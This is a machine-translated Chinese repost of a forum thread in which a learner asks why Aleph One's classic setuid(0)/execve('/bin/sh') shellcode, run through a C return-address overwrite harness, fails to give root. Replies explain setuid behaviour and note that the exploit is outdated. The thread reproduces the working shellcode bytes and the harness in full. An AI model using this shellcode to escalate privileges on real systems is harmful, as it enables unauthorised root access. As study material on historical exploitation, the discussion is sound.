[英]I have this code … Ethical Hacking
我正在关注有关道德黑客的电子书,并且到达Linux漏洞利用章,这是Aleph 1代码的代码。
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
我给这个超级用户特权,
chmod u+s shellcode
作为超级用户,然后使用
su - normal_user
但是当我运行./shellcode
我应该是root用户,但我仍然是normal_user,所以有什么帮助吗? 顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ...
如果这是一个古老的漏洞利用...应该早就解决了吗?
顺便说一句,作为个人建议:不要to脚使用该昵称,然后四处询问漏洞利用情况。
shellcode
可执行文件是否由root拥有? setuid位(u + s)使可执行文件以其所有者 (不一定是root)的特权运行。
好了,setuid()更改了当前正在运行的程序的用户。 您的命令行管理程序仍将在您的普通用户下运行! :)
要么,要么我不明白这个hack的目的。
我认为 setuid仅在程序运行时将uid设置为0。 您可以在运行Shellcode时执行一些操作来检查UID吗?
如果我理解正确,您正在执行的代码(setuid(0))是一个系统调用,它将当前用户更改为root 。 问题在于,它正在更改该进程的当前用户标识,从而赋予该进程根权限。 如果运行正常,则可以使用root特权运行任何程序。
要对其进行测试,请创建具有根目录的文件或目录,确保您不能以简单用户身份将其删除,然后尝试将代码添加到可执行文件中以删除该文件。 如果代码有效,则应删除该文件。
然后,要获得root权限,请尝试从程序内部派生到新的shell。 不过,我不确定是否可行。
... 但是 ,这是一个古老的漏洞。 可能对此开放了旧的内核,但是使用任何最新发行版都将无济于事。
更新:我刚刚重新阅读了代码,并意识到对shell的调用在那里(/ bin / sh),所以您已经在使用所谓的超级用户shell。 要检查它是否确实有效,请在调用之前和之后查看外壳的PID。 如果已更改,请退出外壳程序,应返回到先前的PID。 这意味着(1)它起作用了,您在其中操作了堆栈并执行了该代码,并且(2)漏洞已修复,内核正在阻止您获得访问权限。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.